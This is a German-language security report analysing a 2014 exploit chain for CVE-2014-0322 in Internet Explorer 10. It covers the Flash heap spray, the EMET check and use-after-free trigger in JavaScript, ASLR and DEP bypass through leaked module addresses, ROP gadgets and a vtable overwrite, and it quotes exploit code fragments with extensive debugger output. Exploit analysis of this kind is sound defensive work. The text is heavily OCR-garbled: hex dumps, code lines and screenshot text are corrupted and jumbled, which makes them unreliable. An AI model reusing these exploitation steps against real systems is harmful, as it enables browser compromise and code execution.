\ Use-After-Free einmal
- ‘ IOprotect
| anders - Teil 11

CVE-2014-0322

Mirz, 2014

Klassifikation:
Offentliche Version

IOprotect GmbH
Huobstrasse 14
8808 Pfiffikon SZ
+41 (0)44 533 00 05
info@ioprotect.ch

www.ioprotect.ch



Use-After-Free einmal anders - Teil 11

Offentliche Version

© 2014, 10protect GmbH, www.ioprotect.ch

Inhaltsverzeichnis

1 Exploit-Analyse 3
1.1 Nachladen der JPG-Datei 3
1.2 Heapspray 4
1.3 Aufruf des JavaScript-Codes in der HTML-Datei 5
1.3.1 Prifen, ob IE-Version stimmt und ob EMET installiert ist 6
1.4 Triggern der Use-After-Free Schwachstelle via JavaScript 7
1.4.1 Inkrementieren des Size-Feldes 8
1.5 Umgehen von ASLR 9
1.5.1  Uberschreiben des Size-Feldes des nachsten Elements 9
1.5.2 Pointer des Sound-Elements auslesen 10
1.5.3 VTable-Adresse auslesen 11
1.5.4 Basisadresse des Flashmoduls ermitteln 11
1.5.5 Basisadresse von kernel32.dll ermitteln 12
1.5.6 Basisadresse von ntdll.dll ermitteln 15
1.6 Umgehen von DEP uiber Adressen in ntdll.dll 15
1.6.1 Adresse von NtProtectVirtualMemory ermitteln 15
1.6.2 Stackpivoting-Adresse in ntdll.dll ermitteln 15
1.6.3 Codeausflihrung 16



Use-After-Free einmal anders - Teil 11
Offentliche Version

1 Exploit-Analyse

Einer der bekannt gewordenen Exploits fiir die Schwachstelle CVE-2014-0322 besteht wie in Teil I
erwihnt aus einer Flashdatei, einer ,,JPG-Datei” und einer HTML-Datei. Der Flashinhalt (Action
Script) wird als erstes ausgefiihrt. Fiir die Analyse wurde WinDbg sowie der Flashdebugger fdb'

verwendet.

1.1 Nachladen der JPG-Datei

Der Action Script-Code 14dt als ersten Schritt die JPG-Datei nach. Ist diese nicht vorhanden, wird

eine Fehlermeldung in der Debugger-Version des Flashplayers wie auch in fdb angezeigt und der

Exploit wird nicht weiter ausgefiihrt:

X

An ActionScript error has occurred:

2044 Unhandled ioError:. text=Ermor #2032: Stream Error. URL: http://127.0.0.1/debugging/Erido.jpg
at Tope[)[C:\Users\useriDesktop\Flash\Debugaing_Version\T ope.as: 36]

Abbildung 1: Fehlermeldung bei fehlender JPG-Komponente

In dieser JPG-Komponente befindet sich der eigentliche Schadcode in Form zweier Binaries.

Anmerkung: Ziel dieser Analyse ist es, lediglich den Exploit-Ablauf zu analysieren und

nicht auf die Analyse der Malware einzugehen.

Ist die JPG-Komponente vorhanden, wird mittels Action Script als nidchstes der Heap entsprechend

aufgesetzt und fiir den weiteren Angriff prépariert.

! Bestandteil von Flex SDK
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1.2 Heapspray

Die dabei gewéhlte Methode wurde bereits diskutiert, unter anderem von Haifei Li im Artikel
,»Smashing the Heap with Vector: Advanced Exploitation Technique in Recent Flash Zero-day

Attack*” und in FireEyes Blogpost mit dem Titel ,,ASLR Bypass Apocalypse in Recent Zero-Day

«3

Exploits*’. Dabei werden Vector-Instanzen mit den Datentypen <uint> und <Object> erzeugt. Die

Grosse der allozierten Speicherblocke pro Element betrégt im Falle der <uint>-Elemente Ox3fe. Das
Ergebnis des Heapsprays sieht im Speicher wie folgt aus. Zu sehen ist der Beginn eines solchen

Elements mit dem Size-Feld:

0:005> dd 1alb2000

lalb2000 000003fe 08223000 deadbeel 00000000
1alb2010 1alb2000 1alb2000 00000000 00000000
lalb2020 00000000 00000000 0O0OOOOOOO OOOOOOOO
1alb2030 00000000 00000000 0O0OOOOOOO OOOOOOOO
lalb2040 00000000 00000000 0OOOOOOOO OOOOOOOOD
1lalb2050 00000000 00000000 OQOOOOOOO 00000000
lalb2060 00000000 00000000 0O0OOOOOOO OOOOOOOO
1lalb2070 00000000 00000000 0OOOOOOOO OOOOOOOO

Abbildung 2: Element mit dem Size-Feld der Grosse 0x3fe

Bei den <Object>-Elementen wird das Flash.Media.Sound-Objekt genutzt. Diese befinden sich an
einer hoheren Adresse im Speicher als die vorgédngig erstellten <uint>-Elemente. Die Grdsse betragt

in diesem Fall 0x3ef.

0:005> dd 21da0000

21da0000 00010c00 00000fe0 08223000 08217068
21da0010 21d9f000 21da0018 00000010 00000000
21da0020 65c7bl10 000003=f 09044021 09044021
21da0030 09044021 09044021 09044021 09044021
21da0040 09044021 09044021 09044021 09044021
21da0050 09044021 09044021 09044021 09044021
21da0060 09044021 09044021 09044021 09044021
21da0070 09044021 09044021 09044021 09044021

Abbildung 3: Sound-Elemente mit Zeiger auf Adresse 0x09044021

Wie spiter noch ersichtlich wird, spielen diese Elemente eine wichtige Rolle, um ASLR
auszuhebeln. Denn an der Adresse 0x09044020 befindet sich eine Adresse, die sich im Flashmodul
befindet:

2 https://sites.google.com/site/zerodayresearch/smashing_the heap with_vector Li.pdf?attredirects=0

? http://www.fireeye.com/blog/technical/cyber-exploits/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html
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0:005> dd 09044021-1

09044020 65c00£78 400000£f 0912df£38 091aldal
09044030 00000000 00000000 091932a0 00000000
09044040 00000000 090e2b20 00000000 0OOOOOOO
09044050 00000000 OO0O0OOOOO 7ff££££££f 00000000
09044060 00000000 0OOOOOOO OOOOOOO1 OOOOOOOO
09044070 00000000 00000000 0OOOOOOO 0OOOOOOO
09044080 00000001 7ffff£f£f 00000000 00OOOOOO
05044090 00000000 00000000 0OOOOOOO 0OOOOOOO

Abbildung 4: Adresse 0x09044020 == Sound-Objekt

Falls diese Adresse ausgelesen werden kann, ist zumindest eine Adresse im Flashmodul bekannt,

wie in der unteren Abbildung ersichtlich ist:

0:005> u 65c00£78

Flash32_12_0_0_44!AdobeCPGet API+0x47afds:

65c00£78 2ale sub bl.byte ptr [esi]
65c00f7a 27 daa

65c00£f7b 65208925658943 and byte ptr gs:[ecx+4:
65c00£82 fb sti

65c00£83 64ct iretd

65c00£85 fc cld

65c00£86 26 7?7

65c00£87 65e?fc out 0FCh.eax

Abbildung 5: 0x65c00f78 ist eine Adresse im Flashmodul

1.3 Aufruf des JavaScript-Codes in der HTML-Datei

Ist der Heap entsprechend pripariert, wird die eigentliche Schwachstelle im Internet Explorer aus
dem Flash-File wie folgt getriggert:
if (ExternallInterface.available) {
ExternalInterface.call ("pulHa3", this.orqg);

ExternalInterface.call ("pulHa3", this.orqg);
b

Der Action Script-Code ruft die JavaScript-Funktion pulHa3() zweimal auf, die sich in der HTML-
Datei befindet. Dies geschieht iiber die hier dokumentierte Methode® und der Kommunikation von

Action Script und Browser.

* http://help.adobe.com/en_US/as3/dev/WS5b3ccc516d4fbf351e63e3d118a9b90204-7cb1 html
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1.3.1 Prufen, ob IE-Version stimmt und ob EMET installiert ist

Sobald die entsprechende JavaScript-Funktion aufgerufen wird, erfolgt ein Check der Internet
Explorer Version. Nur im Falle des Internet Explorers 10 wird der Exploit ausgefiihrt. Zusétzlich
priift der JavaScript-Code, ob die Datei EMET.dIl auf dem Zielsystem vorhanden ist. Diese ist
Bestandteil von Microsofts ,,Enhanced Mitigation Experience Toolkit (EMET), ein wirksames

Tool, das Angriffe iiber unbekannte Schwachstellen stoppen kann.

Der JavaScript-Code priift also, ob EMET auf dem System installiert ist und falls ja, wird der
Angriff abgebrochen. Dies geschieht durch folgende Zeilen:

function developonther (txt)
{
var xmlDoc = new ActiveXObject ("Microsoft.XMLDOM") ;
xmlDoc.async = true;
xmlDoc.loadXML (txt) ;
if (xmlDoc.parseError.errorCode != 0)
{
var err;
err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";
err += "Error Reason: " + xmlDoc.parseError.reason;
err += "Error Line: " + xmlDoc.parseError.line;
if (err.indexOf ("-2147023083")>0)
{
return 1;

}

else{ return 0; }

}

return 0;

function pulIHa3 () {
var bamboo go ="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0
Transitional//EN' 'res://C:\\windows\\AppPatch\\EMET.DLL'>";

if (navigator.userAgent.indexOf ("MSIE 10.0")>0)

{
if (developonther (bamboo go) )

{

return;

}

Wird auf einem Testsystem also eine beliebige DLL in EMET.dIl umbenannt und an die gepriifte

Lokation kopiert, wird dieser spezifische Exploit gar nicht ausgefiihrt:

© 2014, 10protect GmbH, www.ioprotect.ch



Use-After-Free einmal anders - Teil 11
Offentliche Version

Administrator: C:\Windows\System32\cmd.exe

C:\Windows\AppPatch>copy AcGenral.dll EMET.dll
1 file(s> copied.

C:\Windows\AppPatch>dir EME>*
Uolume in drive C has no label.
Uolume Serial Number is 361A-32CA

Directory of C:\Windows\AppPatch

B4/12/26813 08:45 PM 2,176,512 EMET.d1l1l
1 Filed(s> 2,176,512 hytes
A Dird(s) 4,848,.340,.992 bytes free

Abbildung 6: Beliebige DLL als EMET.dIl kopiert

Im Debugger ist ersichtlich, dass die Schwachstelle so nicht getriggert wird.

87
9 88 ar bamboo go  ="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.8 Transitional//EN' 'res://C:\
89
20 if(navigator.userAgent.indexOf ("MSIE 10.0")>0)
91 {
92 if(developonther(bamboo_go) )
93 {
94
B 95 return;
9%
97 }

Abbildung 7: Zutreffende If-Anweisung: Return erfolgt und damit wird kein weiterer Code ausgefiihrt

Dies ist der erste, 6ffentlich bekannt gewordene Fall, bei dem ein solcher Test erfolgt. Falls die
Datei EMET.dIIl nicht vorhanden ist, wird als ndchster Schritt die Use-After-Free Schwachstelle im

Internet Explorer getriggert.

1.4 Triggern der Use-After-Free Schwachstelle via JavaScript

Bei der Schwachstelle handelt es sich um eine Use-After-Free Liicke. Es soll an dieser Stelle darauf
hingewiesen werden, dass gewohnliche Use-After-Free Schwachstellen (siehe Teil I) ab Internet
Explorer 10 kaum mehr ausgenutzt werden konnen. Der Grund dafiir ist die Einfiihrung von Virtual

Table Guard’. Diese Schwachstelle ist jedoch spezieller Art, da lediglich ein Byte an einer

* http://media.blackhat.com/bh-us-12/Briefings/M_Miller/BH_US_12 Miller Exploit Mitigation_Slides.pdf
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beliebigen Stelle inkrementieren werden kann (Peter Vreugdenhil von Exodus Intelligence® hat
einen Case beschrieben, bei dem er ebenfalls nur ein Byte verandern konnte. Trotzdem gelang ihm

die Kontrolle iiber den Programmablauf und dies, ohne Flash nutzen zu miissen).

1.4.1 Inkrementieren des Size-Feldes

Bei der Schwachstelle CVE-2014-0322 wird ein Byte an der Adresse 0x1a1b2000 zweimal
inkrementiert. Diese Adresse zeigt auf den préiparierten Heap und dort auf das Size-Feld eines
<uint>-Elements. Die Schwachstelle wird zweimal getriggert, entsprechend wird das Size-Feld von
urspriinglich 0x3fe auf 0x400 inkrementiert. Durch Setzen eines Breakpunktes in WinDbg an der

Adresse 0x1a1b2000 kann dies mitverfolgt werden:

s i 21da0070 09044021 09044021 09044021 09044021
trace("Triggering use—after—free 0-005> ba wd 1a1b2000
0:005> g

trace(*™\n">; ModLoad: 6b330000 6b463000  C:\Windows\System32\mszml3.dll

if (Externallnterface.ava o
o T TS AT Rll (428 .a78) . Unknown exception

TSI R R I ol ((4a8.a78): Unknown exception

33 (4a8.a78): Unknown exception

this.work.start(); (4a8.a78): Unknown exception

this.work.addEventListene)| |JJSia=E1 asl=sR AN INS SR A

br 91 Bl |=ax=1a1blff0 ebx=082db750 ecx=00000012 edx=0838ec48 esi=0838ecd48 edi=00423898

EREEVE DN DAY R D CLILEV NG L CREU A R | =i p=6£549457 esp=030091ac ebp=03009218 iopl=0 nv up ei pl nz na pe nc

(Fdb> br 91 . cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00200206
Breakpoint 3: file Tope.as, line 91 MSHTHL | CHarkup: : UpdateMarkupContentsVersion+0x19:

Eidh) c . . B 5 . 66549457 8b8a94000000 nov ecx.dvord ptr [ed=+94h] ds:0023:0838ecdc=1alb2004
racel] Triggering use—after—free twice and

code 0000001 (first chance)
code 0000001 (first chance)
code 0000001 (first chance)
code 0000001 (first chance)

[trace]
[tracel

< i

0:007> |

Abbildung 8: Durch Triggern der Schwachstelle wird das Size-Feld an der Adresse 0x1a1b2000 inkrementiert
Das Ergebnis nach zweimaligem Triggern der Schwachstelle:

HSHTHL |CHarkup: : UpdateMarkupContentsVersion+0x19:
66549457 8b8a94000000 nov ecx,.dword ptr [e
0:007> dd 1albz000

1alb2000 00000400 08223000 deadbeel 00000000
1alb2010 1a1b2000 1alb2000 00000000 OOOOOOOO
1a1b2020 00000000 00000000 00000000 OOOOOOOO
1a1b2030 00000000 00000000 00000000 OOOOOOOO
1alb2040 00000000 00000000 00000000 OOOOOOOO
1a1b2050 00000000 0QO00OOOOO O00OOOOOO OOOOOOOO
1alb2060 00000000 00000000 00000000 OOOOOOOO
1a1b2070 00000000 0QOOQOOOOO O0OOOOOO OOOOOOOO

Abbildung 9: Size-Feld betrigt neu 0x400 statt 0x3fe

¢ http://blog.exodusintel.com/2013/12/09/a-browser-is-only-as-strong-as-its-weakest-byte-part-2/
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1.5 Umgehen von ASLR

Danach geht die Kontrolle wieder an den Action Script-Code in der Flashdatei iiber. Dieser priift als

néchstes, welches <uint>-Element von der Inkrementierung des Size-Feldes betroffen ist.

1.5.1 Uberschreiben des Size-Feldes des nachsten Elements

Durch die neue Grosse kann iiber den eigentlichen Bereich des betroffenen Elementes

hinausgeschrieben werden. Dies geschieht mit folgender Anweisung:

this.s[ local29] [ (((0x1000 * 1) / 4) - 2)] = 1073741808; > Ox3fffff0

Die Variable local29 bezeichnet die Nummer desjenigen Elements, bei dem das Size-Feld
inkrementiert wurde. Damit wird nun das Size-Feld des ndchsten Elements im Speicher mit einer
grossen Zahl (0x3ffffff0) iiberschrieben. Zur Analyse wird erneut ein Breakpunkt gesetzt, jedoch an
der Adresse des nachfolgenden Elements (bei 0x1a1b3000). Dieser triggert, sobald eine

Schreiboperation erfolgt:

_local32 = 108; 0:007>

. g
3s hreak; (4a8.89c): Break instruction exception — code 80000003 (first chance)
H 138 = ¢ 1 138 eax=7f£db000 ebx=00000000 ecx=00000000 edz=76ebfld3 esi=00000000 =di=00000000
3 oca e eip=76e54108 esp=0855£970 ebp=0855{f99c iopl=0 nv up ei pl zr na pe nc
’ cs=001b =s=0023 ds=0023 es=0023 f{=s=003b gs=0000 efl=00000246
/7 not found *?%? ——> exit ntdll!DbgBreakPoint:
br 228 76254108 cc int 3
Breakpoint 4: file Tope.as, line 228 g:gg;ﬂ ba w4 1alb3000
: > g
command ’‘Yc¢’, ignoring it Breakpoint 1 hit
L. X eax=1alb2000 ebx=lala2Zac ecx=1alb2000 edx=1alb2000 esi=000003fe edi=lala2290
Beginning of the proc function... eip=655fffec esp=0300b804 ebp=3ffffff0 iopl=0 nv up ei ng nz na po cy
bt M L AR Rl [ cs=001b  ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200283
frray with incremented size field: ¢ Flash32_12_0_0_44!IAEModule_IAEKernell_UnloadModule+0x1lf420:
+ sizes 655fffec Se pop esi
Overwriting size field of next eleme a =

[0:007> |

Abbildung 10: Breakpunkt an der Adresse 0x1a1b300 wird erreicht

Das Ergebnis ist auf der nachsten Seite zu sehen.
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Breakpoint 1 hit

eax=1al1b2000 ebzx=lala22ac ecx=1alb2000 edx=1al1lb2000
eip=655fffec esp=0300b804 ebp=3ffffff0 iopl=0
c==001b =s=0023 d=s=0023 e=s=0023 fs=003b g==000
Flash32_12_0_0_44 1 IAEModule IAEKernel_ UnloadModule+
655fffec Se pop esi

0:007> dd 1alb3000

1alb3000 3ffffff0 08a23000 deadbeel 00000000
1al1b3010 1alb2000 1alb2000 00000000 OOOOOOOOD
1a1b3020 00000000 0OQOOOOOO OOOQOOOOO OQOOOQOOOO
1a1b3030 00000000 0OQOOOOOO O0O0OOOOOO OQOOOOOOO
1lalb3040 00000000 0O0OOOOOO OO0OQOOOOO OOOOOOOO
1a1b3050 00000000 0OOOOOOOO OOOOOOOO OOOOOOOOD
lalb3060 00000000 0O0O0OOOOO OOOQOOOOO OOOOOOOO
1a1b3070 00000000 0O0OOOOOO 0O00QOOOOO OQOOOOOOO

Abbildung 11: Size-Feld des nachfolgenden Elements wird mit 0x3ffffff0 iiberschrieben

1.5.2 Pointer des Sound-Elements auslesen

Dank des grossen Size-Feldes konnen fast beliebige Speicherbereiche und deren Inhalte ausgelesen
werden. Dies ist notwendig, um ASLR zu umgehen. Die erstellten Sound()-Elemente befinden sich
an einer hoheren Adresse im Speicher als die <uint>-Elemente. Im ndchsten Schritt wird nach
einem solchen Element (siehe Abbildung 3) im Speicher gesucht und anschliessend der Pointer
ausgelesen. Das Ergebnis der Suche ist unten im linken Bildausschnitt zu sehen. Ein Element

befindet sich an der Adresse 0x21ba7000. Der ausgelesene Pointer weist den Wert 0x0944020 auf.

Sax=/IIADUUU EDE=UUUUUUUU SCX=UUUUUUUU SaX=/beDI 1aJd
N S IR L AR E R LI e AR L IR e gl [=1ip=76254108 esp=22acfal4 ebp=22acfatl iopl=0
IS LUN TR R (R S RS =T LR L R A SO LW 3Rl (c==001b ===0023 ds=0023 es=0023 fs=003b gs==000
New size: Bx3FFFFFF@Q ntdll ! DbgBreakPoint :

76254108 cc int 3

. i 0:004> dd 21ba?000

L T TG S LS UL S MR RE | | 21527000 00010c00 00000fe0 08223000 08217068

Ltracel Leaking pointer of sound element...\n 21ba7010 096c8000 21ba7018 00000010 00000000
pegkpoint 5. proce) 2t Tope-asc2y9 . 21ba7020 6£5c7bl1l0 000003ef 09044021 09044021
p leaked ptr eakedpLes 21ba7030 09044021 09044021 09044021 09044021
151253004 CPX90844028> 21ba7040 09044021 09044021 09044021 09044021

21ba7050 09044021 09044021 09044021 09044021
21ba7060 09044021 09044021 09044021 09044021
21ba7070 09044021 09044021 09044021 09044021

Abbildung 12: Pointer wird ausgelesen

Dieser zeigt wieder auf das Sound-Objekt mit der VTable-Adresse.

© 2014, I0protect GmbH, www.ioprotect.ch
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0:004> dd 09044021 - 1

09044020 65c00£78 400000£f 0912df38 091alda8
09044030 00000000 000O0OOO0 09193220 00000000
09044040 00000000 090=e2b20 00000000 OO00OODOOO
09044050 00000000 O0OOQOOOOO0 7fffffff 00000000
09044060 00000000 0O00OOOOO OOOOOOO1 OOOOODOOO
09044070 00000000 00000000 OOOODOOOO OOOOOOOO
09044080 00000001 7fffffff 00000000 00000O00O
09044090 00000000 0OOOOOOOO OOOOOOOO OOOOOOOO

Abbildung 13: Adresse im Flashmodul

1.5.3 VTable-Adresse auslesen
Dank dem ausgelesenen Pointer und dem grossen Size-Feld wird die VTable-Adresse ausgelesen.

line 315

[trace]l leaked pointer: Bx28440820
[trace]
[trace]l

[trace]l Leaking base address of flash module...
[trace]l Arrayl678171[10020628541]

[trace]l Leaked address from Flash module: 65CBOF?78
Breakpoint 7, proc{()> at Tope.as:315

Abbildung 14: Ausgelesene Adresse im Flashmodul ist 0x65¢00f78

Diese Adresse befindet sich im Flashmodul und dient im niachsten Schritt als Ausgangslage, um die

Basisadresse des Flashmoduls zu ermitteln.

1.5.4 Basisadresse des Flashmoduls ermitteln

Mit der eben ausgelesenen Adresse als Ausgangswert wird nun Schritt fiir Schritt nach dem Beginn
des Flashmoduls gesucht. Jede DLL beginnt bekanntlich mit dem String ,,MZ* (Hexwerte 0x4d5a),

wie der folgende Speicherauszug des Flashmoduls ebenfalls zeigt:

0:004> 1m

start end module name

00cb0000 00d6c000 iexplore (deferred)

64£80000 6610c000 Flash32 12 0_0_44 (export symbols)
0:004> dd 64£80000

64£80000 00905a4d 00000003 00000004 OQOCOffff
64£80010 0000008 00000000 00000040 00000000

Schritt fiir Schritt wird von der Adresse 0x65¢00f78 in Richtung tiefere Adressen nach dieser

Zeichenkombination gesucht. Ist sie gefunden, ist die Basisadresse des Flashmoduls bekannt:

© 2014, I0protect GmbH, www.ioprotect.ch
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(fdb)> br 383
Breakpoint 8: file Tope.as,. line 383
(fdb> c

[trace]l first_element_large_array: Bx1A1B360G8
[trace]l Flash module at Bx64F80000Q

Abbildung 15: Auslesen der Basisadresse des Flashmoduls

1.5.5 Basisadresse von kernel32.dll ermitteln

Danach wird mit Hilfe des Import Directory eine Adresse in kernel32.dll ermittelt.

140 DLL characteristics
. - Dynamic base
bhr 408 if Chase_dl NX compatible
reakpoint 9: file Tope.as, 1i EF4ACFO0 [ 135] address [size] of Export Directory
EF11EC [ 190] address [=size] of Import Directory
reakpoint 9. proc() at Tope.a 105C000 [ 97F4C] address [size] of Resource Directory
408 [

trace("Leaking bas 0 0] address [size] of Exception Directory
p _local22 1066800 1988] address [size] of Security Directory
15667692 (Bxefllec> 10F4000 705C8] address [size] of Base Relocation Directory
BAS2CO 1C] address [size] of Debug Directory
B 0 0] address [size] of Description Directory
—local3l = 0 0] address [size] of Special Directory
local3i = [ 0] address [size] of Thread Storage Directory
- EB1138 [ 40] address [size] of Load Configuration Director
localis 0 0] address [size] of Bound Import Directory
p _local3l - BA4000 B10] address [size] of Import Address Table Direct(
1709642228 (Bx65e?ilec) 0 0] address [size] of Delay Import Directory
0 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory

0:005> dd 64£80000 + EF11EC 14
65e711lec 00eflc8c 00000000 00000000 00efl1£10

< 1l

Abbildung 16: Import Directory des Flashmoduls an Adresse Basis + Oxefllec

Dort sind unter anderem Eintrage zu DLLs aufgefiihrt:

v oL U] OUULTSDS | Sl4AT ] UL WWYILEU USCOUSL il c

f(_loca131 — first_element_of_ 0 0] address [size] of Reserved Director
g n 0:005> dd 64£80000 + EF11EC

(fdb> p _local3s 65e71llec 00eflc8c 00000000 00000000 O0eflfll
$13 = 1769645584 (Bx65e71£f16) 65e711fc 00bad4910 00eflca8 00000000 OQOOOQOOOQO
(£fdb) p inc_size_array 6527120c 00ef20dc 00ba492c 00e£f1430 00000000
514 = @ (BxB) 65e7121c 00000000 00ef22f2 00ba40bd4d 00ef1994
(fdhd> 65e7122c 00000000 00000000 00ef2320 00badbls
6527123c 00e£1938 00000000 00000000 O0ef232c
65e7124c 00ba4Sbc 00efl48c 00000000 00O0OOOO
6527125c 00ef233a 00ba4110 00e£1930 00000000
0:005> g

Abbildung 17: Import Directory des Flashmoduls

An der Adresse Basis + Oxefl lec + Oxc sind folgende Zeiger zu finden:
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0:003> dd 65000000+00efllect+c
65ef11f8 00efl£f10 00ba4910 00eflca8 00000000

Der erste Zeiger zeigt auf den Namen der Date1 Version.dl!:

3% Pid 2768 - WinDbg:6.11.0001.404 X86

File Edit View Debug Window Help

| & | | =l % A = | & B B

Memory

Virtual: 65000000+ 00efl1f10

6Seflfl0 VERSION . d11 .o
65eflfd3 = W . . . wavelOutGe
§§e§}§7§5tart. wgveIn

Abbildung 18: Zeiger auf Namen der Version.dll

Der nachfolgende Zeiger (0x00ba4910) zeigt auf Funktionen in dieser DLL:

0:003> dds 65000000+ 00ba4910

65bad4910 74351b51 version!VerQueryValuell

65bad4914 743519d9 version!GetFileVersionInfoSizel
65bad4918 74351b72 version!VerQueryValuei

65bad491lc 74351ced version!GetFileVersionlInfod
65bad920 74351cY9c version!GetFileVersionInfoSized
65bad4924 743519f4 version!GetFileVersionInfol

Abbildung 19: Adressen zu Funktionen in Version.dll

Der Action Script-Code sucht, ob es sich bei den ersten 8 Bytes um die Zeichenfolge 4¢52454b und
32334c45 handelt.

if ((({(_locall3d == 1314014539)>> && ({(_localld ==
842222661555

(fdb> p _localld
$18 = 7768840841 (Bx2ededf49)>
(fdhb>

Abbildung 20: Suche nach dem String "KERNEL32"

Dies ist umgewandelt: NREK und 23LE -> es wird also nach KERNEL32 gesucht. Dieser String
befindet sich an der Adresse 0x65ef2d2c:
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65=f2d2c

KERNEL32 .dll

Abbildung 21: String "KERNEL32" befindet sich an der Lokation 0x65ef2d2c

Mit dieser Adresse wird eine Funktion und damit eine Adresse in kernel32.dll ausgelesen:

0:003> dd

65efllec
65efllfc
65ef120c
65efl2lc
65efl22c
65ef123c
65efl24c
65efl125c
65efl26¢c
65efl27c
65ef128c
65ef129c

65000000+00efllec 144

00eflc8c 00000000 00000000 00eflflO
00ba4910 00eflca8 00000000 00000000
00ef20dc 00ba492c 00e£1430 00000000
00000000 00ef22f2 00bad40b4 00e£f1994
00000000 00000000 00ef2320 00ba4618
00e£f1938 00000000 00000000 00ef232c
00ba45bc 00efl48c 00000000 00000000
00ef233a 00ba4110 00e£1930 00000000
00000000 00ef2354 00bad45b4 00efl484
00000000 00000000 00ef2376 00ba4108
00efl15e0 00000000 00000000 OOef2d2e
00ba4264 00efl9e8 00000000 00000000

14

Die rot-markierte Adresse zur Basisadresse des Flashmoduls addiert zeigt auf folgenden Bereich:

0:003> dd

65bad264
65bad274
65bad284
65bad294
65bad2a4
65bad2b4
65bad2c4
65bad2d4

65000000+00ba4264

7520c3e0 7520da77c 75205535 75209cba
75205517 701935bc 7520£7b9 7520c280
7521527c 701b2969 70lbabdl 701bba56
701ba26b 701lbaf7b 752099f9 701950fd
70197612 7520d7a5 751ffl7a 751£7081
7520dca2 701b9529 75216c2f 75227afc
75202bc3 752153de 752105fd 752014fd
76e4304b 7019595d 75209bae 7520086b

Dabei handelt es sich um eine Adresse in kernel32.dll:

[ERNFRINE PR wE

65bad264
65bad268
65bad26c
65bad270
65bad274
65bad278
65bad27c

R JURRE T=

7520c3e0
7520da%c
75205535
75209cba
75205517
701935bc
7520£7b9

L N N L e X ST Ry LN Uy R e e e ]

0:003> dps 650000004+00bad264

kernel32!SetlastError

kernel32 ! DisableThreadlibraryCallsStub
kernel32 | SizeofResourceStub
kernel32 ! LoadResourceStub

kernel32 | FindResourcell
IEShim=!NS_RedirectFiles: : APIHook_ LoadLlibrarvE=xU

< |

] |

Abbildung 22: Adresse in kernel32.dll
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Ab hier wird wieder nach dem String ,,MZ* gesucht, um die Basisadresse von kernel32.dll zu

ermitteln.

1.5.6 Basisadresse von ntdll.dll ermitteln

Als nichstes wird eine Adresse in ntdll.dll ermittelt. Dies geschieht wieder {iber das Import

Directory von kernel32.dll und mit denselben Schritten, wie im vorherigen Abschnitt beschrieben.

1.6 Umgehen von DEP uiber Adressen in ntdll.dll

Die Basisadresse von ntdll.dll wird bendtigt, um ROP-Gadgets sowie eine Adresse auszulesen, mit

deren Hilfe sich DEP umgehen ldsst.

1.6.1 Adresse von NtProtectVirtualMemory ermitteln

Die Funktion NtProtectVirtualMemory erlaubt es, einen bestimmten Speicherbereich als ausfiihrbar
zu setzen. Dadurch kann der Shellcode ausgefiihrt werden, unabhéngig von DEP. Die Adresse

dieser Funktion wird entsprechend als néchstes ermittelt:

698 leaked_ptr = leaked_addr; - - - )
699 if (leaked_ptr > fi _element_of_la ifdgg}gb giegﬁgginfs 0023 es
700 _local36 = this.sl[large_arrayll( 76 54iUSg :
t_of _large_array) / 4>1; e ce int
£dbh) br 660 0:004> u 76e65£58
Breakpoint 5: file Tope.as, line 660 ntdll !|NtProtectVirtualMemnory:
de 76e65£58 b8d7000000 nov
[trace] Searching for NtProtectUirtualMemory address... || EEEEEIELW=EUIEIT-YE] nov
[trace]l NtProtectUirtualMemory at Bx76E65F58 76eb65f62 ££12 call
76e65f64 <c21400 ret
tll‘acei;\n"); 76e65f67 90 nop
p _loca | :
1994889176 (Bx?6e65£58) ntdll NiFulseEvent. o
2 76e65f6d bal003fe?f nov

Abbildung 23: Adresse von ntdll!NtProtectVirtualMemory wird ermittelt

1.6.2 Stackpivoting-Adresse in ntdll.dIl ermitteln

Als einer der letzten Schritte wird nach einer Adresse gesucht, mit deren Hilfe der Stackpointer

(esp) neu auf den priparierten Heap zeigt. Dies wird mittels xchg eax,esp (94 C3) erreicht:
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Breakpoint 6: file Tope.as, line 696
(fdbh> ¢
[trace]
[trace]

[trace] Searching for Stack pivoting gadget in ntdll...

[trace] Stack pivoting gadget at BOx76E35799
Breakpoint 6, proc{(> at Tope.as:696
trace("\n"'">;

Abbildung 24: Umbiegen des Stackpointers

1.6.3 Codeausfuhrung

vUs-uuay

7625410

7623579
7623579
7623579
7623579

ms AEAA

S=TUULD

ntdll ! DbgBreakPoint :

8 cc

9 94
a c3
b 23c3
d 33c9

0:004> u 76235799
ntdll!4 SHAInit+0x2e:

F AdeAmrAr Fran

us-uuco

int

®chg
ret
and
HOT

(== UL N Fap] L=-uul

3

eax, esp

eax, ebx
ecx, ecx

amre,

Schliesslich wird die VTable-Adresse des Flash Sound-Objektes iiberschrieben und damit das

Ausfiihren des Schadcodes ermdoglicht:

(fdh> n
(fdh> n
[trace]l Overwriting UTable entry of sound element...
[trace]
[trace]
16849 if (leaked_ptr > first_element_of_la
(fdh> n
1852 this.s[large_arrayl[{(Bx40000000
ement_of _large_array) / 4>>1 = _local3;
(fdbh> n
T else {
_local20 = inc_size_array;
break;

Abbildung 25: VTable-Adresse wird iiberschrieben

eax=1alb3000 ebx=1lalaclid4 ecx=1alb3000 edx=1all
eip=6567ffec esp=0270bb74 ebp=1al1b3100 iopl=0

cs=001b s=s=0023 ds=0023
Flash32_12_0_0_44!IAEHodule IAEKernel_ UnloadMor
6567ffec Se

0:005> dd
080e£020
080e£030
080ef040
080ef050
080ef060
080=e£070
080=£080
080e£090

80ef020

1alb3100
00000000
00000000
00000000
00000000
00000000
00000001
oooooooo

pop

400000££
00000000
08al13b20
00000000
0oooooo00
00000000
TEEEEE£E
oooooooo

es=0023

esi

08a5cf38
08ac4280
00000000
TEEEEE£E
00000001
00000000
00000000
oooooooo

f==003b g

08ad0das
00000000
00000000
00000000
0oooooo0
00000000
00000000
oooooooo

An der Adresse Ox1a1b3100 befindet sich der préaparierte, ,,neue Stack* mit den ROP-Gadgets und

dem eigentlichen Payload:

0:029> dd 1alb3100

1alb3100 76e65f58 1lalb3llc ffffffff 1alb30e8
1alb3110 1lalb30ec 00000040 lalb30ed4 20202d89
1lalb3120 b890lalb 090ad020 00c79090 5df30£78
